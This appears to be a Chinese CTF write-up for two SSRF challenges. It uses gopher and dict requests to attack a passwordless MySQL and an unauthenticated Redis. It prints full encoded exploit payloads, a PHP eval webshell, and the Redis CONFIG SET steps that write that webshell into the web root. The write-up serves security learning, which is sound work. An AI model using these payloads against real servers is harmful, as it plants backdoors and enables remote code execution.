web359:
题目提示我们说打无密码的mysql,这里首先要知道的是mysql的登录流程:
客户端 → TCP 3306 → MySQL
这个走的是二进制协议,不是GET / HTTP/1.1这样的,所以我们不能直接用浏览器或者curl去进行登录,这样的话我们可以抓包登录界面看看响应有些啥:

可以看到这里面有一个returl【return url】用于重定向用户 或**将服务器响应内容返回给指定URL,**而在这里面如果我们把url改一下,发现是可以进行控制的,如改成百度的:

那这里就可以用到我们的gopher协议,
gopher://IP:PORT/_原始数据
gopher允许我们指定ip,端口,直接发送TCP payload,相当于万能发包器,又因为这里是无密码的mysql,因此我们可以通过gopherus直接构造认证包,下面为具体构造过程【kali不知道为什么直接下载不了,然后是主机上下好转到kali里的】
首先启动命令如下,因为我们是mysql
bash
python2 gopherus.py --exploit mysql

然后我们输入的username得是root,只有root用户才能执行关键操作:
然后生成一句话木马:
php
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php';

然后这里还要对后面的一大串再进行编码一次,防止某些符号破坏URL结构,所以我们构造的payload为:
php
returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501
因为之前在抓包的时候看到抓到的界面是/check.php,所以我们在这里发送POST请求:

然后再访问我们上传的文件:

最后找到我们的flag:

web360:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

看起来这里好像和最开始的351没啥区别,但是我们找不到flag.php或者说是存放flag的文件名和位置,因此这里采用打redis来植入webshell:
Redis (Remote Dictionary Server)是一个内存中的数据结构存储系统,通常用作数据库、缓存和消息中间件。
Redis可以把内存数据保存到磁盘文件,这就给了攻击者写任意文件 的机会,并且使用简单的文本协议,攻击payload容易构造。【Redis未授权访问-- Redis服务在没有设置密码认证 的情况下,暴露在公网 或内网可访问,导致任何人都可以连接并执行任意命令的安全漏洞】
其中默认配置不安全成为ctf的一个高频考点:
php
# 默认的redis.conf配置:
bind 0.0.0.0 # 监听所有网络接口
protected-mode no # 保护模式关闭(旧版本)
requirepass "" # 空密码
port 6379 # 默认端口
# 启动命令不当:
redis-server # 不使用配置文件,全默认
redis-server --bind 0.0.0.0 # 显式绑定所有IP
这里可以先用dict协议【轻量级的字典查询协议, CTF/安全领域被**广泛用于端口扫描和服务探测】**进行探测:

发现确实是redis,那么同样也可以用gopherus进行生成:
bash
python2 gopherus.py --exploit redis

同样也是对后面一串再进行一次url编码,最终的payload为:
bash
url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A%0A
会默认生成shell.php,在这个目录下执行相应命令,但是不知道为什么我这么做不行,要么504要么根本没有上传成功,然后只能不用工具自己手工注入,构造如下:
url=dict://127.0.0.1:6379/config:set:dir:/var/www/html //设置目录,这里用:替代空格
url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x62\x69\x74\x27\x5d\x29\x3b\x3f\x3e" //写webshell,使用\x3c\x3f...十六进制转义序列,而redis能解析这种形式
url=dict://127.0.0.1:6379/config:set:dbfilename:bit.php //设置文件名
url=dict://127.0.0.1:6379/save //保存
来自bit✌的视频讲解

这里可能有疑惑的点是config和dir这两个是什么,解释如下:
CONFIG 是Redis的配置管理命令,可以查看和修改Redis服务器的运行时配置。常用命令如下:
CONFIG GET <parameter> # 获取配置参数值
CONFIG SET <parameter> <value> # 设置配置参数值
CONFIG REWRITE # 重写配置文件
CONFIG RESETSTAT # 重置统计信息
dir 是Redis的一个关键配置参数,它指定了Redis数据持久化文件的保存目录。
# 查看当前dir配置
CONFIG GET dir
# 典型默认值:
1) "dir"
2) "/var/lib/redis" # Linux默认
# 或
2) "/usr/local/var/db/redis" # macOS默认
攻击原理:通过CONFIG SET dir可以修改Redis保存数据的目录,然后结合dbfilename可以将数据保存为任意文件。
# 攻击步骤:
1. CONFIG SET dir /var/www/html # 设置保存目录为Web目录
2. CONFIG SET dbfilename shell.php # 设置文件名为PHP文件
3. SET webshell "恶意PHP代码" # 写入数据
4. SAVE # 保存到文件
Redis会把内存中的数据保存到:/var/www/html/shell.php